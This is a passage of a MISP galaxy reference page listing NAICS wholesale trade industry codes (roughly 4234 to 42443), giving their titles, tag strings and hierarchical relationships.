- parent-of: misp-galaxy:naics="423440" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42345" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423450" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42346" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423460" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42349" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423490" with estimative-language:likelihood-probability="likely"

42341

Photographic Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42341"*

View relationships graph

42341 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423410" with estimative-language:likelihood-probability="likely"

423410

Photographic Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423410"*

View relationships graph

423410 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42341" with estimative-language:likelihood-probability="likely"

42342

Office Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42342"*

View relationships graph

42342 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423420" with estimative-language:likelihood-probability="likely"

423420

Office Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423420"*

View relationships graph

423420 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42342" with estimative-language:likelihood-probability="likely"

42343

Computer and Computer Peripheral Equipment and Software Merchant Wholesalers

The tag is: *misp-galaxy:naics="42343"*

View relationships graph

42343 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423430" with estimative-language:likelihood-probability="likely"

423430

Computer and Computer Peripheral Equipment and Software Merchant Wholesalers

The tag is: *misp-galaxy:naics="423430"*

View relationships graph

423430 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42343" with estimative-language:likelihood-probability="likely"

42344

Other Commercial Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42344"*

View relationships graph

42344 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423440" with estimative-language:likelihood-probability="likely"

423440

Other Commercial Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423440"*

View relationships graph

423440 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42344" with estimative-language:likelihood-probability="likely"

42345

Medical, Dental, and Hospital Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42345"*

View relationships graph

42345 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423450" with estimative-language:likelihood-probability="likely"

423450

Medical, Dental, and Hospital Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423450"*

View relationships graph

423450 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42345" with estimative-language:likelihood-probability="likely"

42346

Ophthalmic Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="42346"*

View relationships graph

42346 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423460" with estimative-language:likelihood-probability="likely"

423460

Ophthalmic Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="423460"*

View relationships graph

423460 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42346" with estimative-language:likelihood-probability="likely"

42349

Other Professional Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42349"*

View relationships graph

42349 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423490" with estimative-language:likelihood-probability="likely"

423490

Other Professional Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423490"*

View relationships graph

423490 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42349" with estimative-language:likelihood-probability="likely"

4235

Metal and Mineral (except Petroleum) Merchant Wholesalers

The tag is: *misp-galaxy:naics="4235"*

View relationships graph

4235 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42351" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42352" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423520" with estimative-language:likelihood-probability="likely"

42351

Metal Service Centers and Other Metal Merchant Wholesalers

The tag is: *misp-galaxy:naics="42351"*

View relationships graph

42351 has relationships with:

- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423510" with estimative-language:likelihood-probability="likely"

423510

Metal Service Centers and Other Metal Merchant Wholesalers

The tag is: *misp-galaxy:naics="423510"*

View relationships graph

423510 has relationships with:

- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42351" with estimative-language:likelihood-probability="likely"

42352

Coal and Other Mineral and Ore Merchant Wholesalers

The tag is: *misp-galaxy:naics="42352"*

View relationships graph

42352 has relationships with:

- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423520" with estimative-language:likelihood-probability="likely"

423520

Coal and Other Mineral and Ore Merchant Wholesalers

The tag is: *misp-galaxy:naics="423520"*

View relationships graph

423520 has relationships with:

- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42352" with estimative-language:likelihood-probability="likely"

4236

Household Appliances and Electrical and Electronic Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="4236"*

View relationships graph

4236 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42361" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42362" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423620" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42369" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423690" with estimative-language:likelihood-probability="likely"

42361

Electrical Apparatus and Equipment, Wiring Supplies, and Related Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42361"*

View relationships graph

42361 has relationships with:

- child-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423610" with estimative-language:likelihood-probability="likely"

423610

Electrical Apparatus and Equipment, Wiring Supplies, and Related Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423610"*

View relationships graph

423610 has relationships with:

- child-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42361" with estimative-language:likelihood-probability="likely"

42362

Household Appliances, Electric Housewares, and Consumer Electronics Merchant Wholesalers

The tag is: *misp-galaxy:naics="42362"*

View relationships graph

42362 has relationships with:

- child-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423620" with estimative-language:likelihood-probability="likely"

423620

Household Appliances, Electric Housewares, and Consumer Electronics Merchant Wholesalers

The tag is: *misp-galaxy:naics="423620"*

View relationships graph

423620 has relationships with:

- child-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42362" with estimative-language:likelihood-probability="likely"

42369

Other Electronic Parts and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42369"*

View relationships graph

42369 has relationships with:

- child-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423690" with estimative-language:likelihood-probability="likely"

423690

Other Electronic Parts and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423690"*

View relationships graph

423690 has relationships with:

- child-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42369" with estimative-language:likelihood-probability="likely"

4237

Hardware, and Plumbing and Heating Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="4237"*

View relationships graph

4237 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42371" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42372" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423720" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42373" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423730" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42374" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423740" with estimative-language:likelihood-probability="likely"

42371

Hardware Merchant Wholesalers

The tag is: *misp-galaxy:naics="42371"*

View relationships graph

42371 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423710" with estimative-language:likelihood-probability="likely"

423710

Hardware Merchant Wholesalers

The tag is: *misp-galaxy:naics="423710"*

View relationships graph

423710 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42371" with estimative-language:likelihood-probability="likely"

42372

Plumbing and Heating Equipment and Supplies (Hydronics) Merchant Wholesalers

The tag is: *misp-galaxy:naics="42372"*

View relationships graph

42372 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423720" with estimative-language:likelihood-probability="likely"

423720

Plumbing and Heating Equipment and Supplies (Hydronics) Merchant Wholesalers

The tag is: *misp-galaxy:naics="423720"*

View relationships graph

423720 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42372" with estimative-language:likelihood-probability="likely"

42373

Warm Air Heating and Air-Conditioning Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42373"*

View relationships graph

42373 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423730" with estimative-language:likelihood-probability="likely"

423730

Warm Air Heating and Air-Conditioning Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423730"*

View relationships graph

423730 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42373" with estimative-language:likelihood-probability="likely"

42374

Refrigeration Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42374"*

View relationships graph

42374 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423740" with estimative-language:likelihood-probability="likely"

423740

Refrigeration Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423740"*

View relationships graph

423740 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42374" with estimative-language:likelihood-probability="likely"

4238

Machinery, Equipment, and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="4238"*

View relationships graph

4238 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42381" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42382" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423820" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42383" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423830" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42384" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423840" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42385" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423850" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42386" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423860" with estimative-language:likelihood-probability="likely"

42381

Construction and Mining (except Oil Well) Machinery and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42381"*

View relationships graph

42381 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423810" with estimative-language:likelihood-probability="likely"

423810

Construction and Mining (except Oil Well) Machinery and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423810"*

View relationships graph

423810 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42381" with estimative-language:likelihood-probability="likely"

42382

Farm and Garden Machinery and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42382"*

View relationships graph

42382 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423820" with estimative-language:likelihood-probability="likely"

423820

Farm and Garden Machinery and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423820"*

View relationships graph

423820 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42382" with estimative-language:likelihood-probability="likely"

42383

Industrial Machinery and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="42383"*

View relationships graph

42383 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423830" with estimative-language:likelihood-probability="likely"

423830

Industrial Machinery and Equipment Merchant Wholesalers

The tag is: *misp-galaxy:naics="423830"*

View relationships graph

423830 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42383" with estimative-language:likelihood-probability="likely"

42384

Industrial Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42384"*

View relationships graph

42384 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423840" with estimative-language:likelihood-probability="likely"

423840

Industrial Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423840"*

View relationships graph

423840 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42384" with estimative-language:likelihood-probability="likely"

42385

Service Establishment Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42385"*

View relationships graph

42385 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423850" with estimative-language:likelihood-probability="likely"

423850

Service Establishment Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423850"*

View relationships graph

423850 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42385" with estimative-language:likelihood-probability="likely"

42386

Transportation Equipment and Supplies (except Motor Vehicle) Merchant Wholesalers

The tag is: *misp-galaxy:naics="42386"*

View relationships graph

42386 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423860" with estimative-language:likelihood-probability="likely"

423860

Transportation Equipment and Supplies (except Motor Vehicle) Merchant Wholesalers

The tag is: *misp-galaxy:naics="423860"*

View relationships graph

423860 has relationships with:

- child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42386" with estimative-language:likelihood-probability="likely"

4239

Miscellaneous Durable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="4239"*

View relationships graph

4239 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42392" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42393" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423930" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="42394" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423990" with estimative-language:likelihood-probability="likely"

42391

Sporting and Recreational Goods and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42391"*

View relationships graph

42391 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423910" with estimative-language:likelihood-probability="likely"

423910

Sporting and Recreational Goods and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423910"*

View relationships graph

423910 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42391" with estimative-language:likelihood-probability="likely"

42392

Toy and Hobby Goods and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42392"*

View relationships graph

42392 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423920" with estimative-language:likelihood-probability="likely"

423920

Toy and Hobby Goods and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="423920"*

View relationships graph

423920 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42392" with estimative-language:likelihood-probability="likely"

42393

Recyclable Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="42393"*

View relationships graph

42393 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423930" with estimative-language:likelihood-probability="likely"

423930

Recyclable Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="423930"*

View relationships graph

423930 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42393" with estimative-language:likelihood-probability="likely"

42394

Jewelry, Watch, Precious Stone, and Precious Metal Merchant Wholesalers

The tag is: *misp-galaxy:naics="42394"*

View relationships graph

42394 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423940" with estimative-language:likelihood-probability="likely"

423940

Jewelry, Watch, Precious Stone, and Precious Metal Merchant Wholesalers

The tag is: *misp-galaxy:naics="423940"*

View relationships graph

423940 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42394" with estimative-language:likelihood-probability="likely"

42399

Other Miscellaneous Durable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="42399"*

View relationships graph

42399 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423990" with estimative-language:likelihood-probability="likely"

423990

Other Miscellaneous Durable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="423990"*

View relationships graph

423990 has relationships with:

- child-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42399" with estimative-language:likelihood-probability="likely"

424

Merchant Wholesalers, Nondurable Goods

The tag is: *misp-galaxy:naics="424"*

View relationships graph

424 has relationships with:

- child-of: misp-galaxy:naics="42" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4246" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4248" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"

4241

Paper and Paper Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="4241"*

View relationships graph

4241 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424130" with estimative-language:likelihood-probability="likely"

42411

Printing and Writing Paper Merchant Wholesalers

The tag is: *misp-galaxy:naics="42411"*

View relationships graph

42411 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424110" with estimative-language:likelihood-probability="likely"

424110

Printing and Writing Paper Merchant Wholesalers

The tag is: *misp-galaxy:naics="424110"*

View relationships graph

424110 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42411" with estimative-language:likelihood-probability="likely"

42412

Stationery and Office Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42412"*

View relationships graph

42412 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424120" with estimative-language:likelihood-probability="likely"

424120

Stationery and Office Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="424120"*

View relationships graph

424120 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42412" with estimative-language:likelihood-probability="likely"

42413

Industrial and Personal Service Paper Merchant Wholesalers

The tag is: *misp-galaxy:naics="42413"*

View relationships graph

42413 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424130" with estimative-language:likelihood-probability="likely"

424130

Industrial and Personal Service Paper Merchant Wholesalers

The tag is: *misp-galaxy:naics="424130"*

View relationships graph

424130 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42413" with estimative-language:likelihood-probability="likely"

4242

Drugs and Druggists' Sundries Merchant Wholesalers

The tag is: *misp-galaxy:naics="4242"*

View relationships graph

4242 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424210" with estimative-language:likelihood-probability="likely"

42421

Drugs and Druggists' Sundries Merchant Wholesalers

The tag is: *misp-galaxy:naics="42421"*

View relationships graph

42421 has relationships with:

- child-of: misp-galaxy:naics="4242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424210" with estimative-language:likelihood-probability="likely"

424210

Drugs and Druggists' Sundries Merchant Wholesalers

The tag is: *misp-galaxy:naics="424210"*

View relationships graph

424210 has relationships with:

- child-of: misp-galaxy:naics="4242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42421" with estimative-language:likelihood-probability="likely"

4243

Apparel, Piece Goods, and Notions Merchant Wholesalers

The tag is: *misp-galaxy:naics="4243"*

View relationships graph

4243 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42434" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42435" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424350" with estimative-language:likelihood-probability="likely"

42431

Piece Goods, Notions, and Other Dry Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="42431"*

View relationships graph

42431 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424310" with estimative-language:likelihood-probability="likely"

424310

Piece Goods, Notions, and Other Dry Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="424310"*

View relationships graph

424310 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42431" with estimative-language:likelihood-probability="likely"

42434

Footwear Merchant Wholesalers

The tag is: *misp-galaxy:naics="42434"*

View relationships graph

42434 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424340" with estimative-language:likelihood-probability="likely"

424340

Footwear Merchant Wholesalers

The tag is: *misp-galaxy:naics="424340"*

View relationships graph

424340 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42434" with estimative-language:likelihood-probability="likely"

42435

Clothing and Clothing Accessories Merchant Wholesalers

The tag is: *misp-galaxy:naics="42435"*

View relationships graph

42435 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424350" with estimative-language:likelihood-probability="likely"

424350

Clothing and Clothing Accessories Merchant Wholesalers

The tag is: *misp-galaxy:naics="424350"*

View relationships graph

424350 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42435" with estimative-language:likelihood-probability="likely"

4244

Grocery and Related Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="4244"*

View relationships graph

4244 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42442" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42443" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42444" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424440" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42445" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424450" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42446" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424460" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42447" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424470" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42448" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424480" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42449" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424490" with estimative-language:likelihood-probability="likely"

42441

General Line Grocery Merchant Wholesalers

The tag is: *misp-galaxy:naics="42441"*

View relationships graph

42441 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424410" with estimative-language:likelihood-probability="likely"

424410

General Line Grocery Merchant Wholesalers

The tag is: *misp-galaxy:naics="424410"*

View relationships graph

424410 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42441" with estimative-language:likelihood-probability="likely"

42442

Packaged Frozen Food Merchant Wholesalers

The tag is: *misp-galaxy:naics="42442"*

View relationships graph

42442 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424420" with estimative-language:likelihood-probability="likely"

424420

Packaged Frozen Food Merchant Wholesalers

The tag is: *misp-galaxy:naics="424420"*

View relationships graph

424420 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42442" with estimative-language:likelihood-probability="likely"

42443

Dairy Product (except Dried or Canned) Merchant Wholesalers

The tag is: *misp-galaxy:naics="42443"*

View relationships graph

42443 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424430" with estimative-language:likelihood-probability="likely"

424430

Dairy Product (except Dried or Canned) Merchant Wholesalers

The tag is: *misp-galaxy:naics="424430"*

View relationships graph

424430 has relationships with:

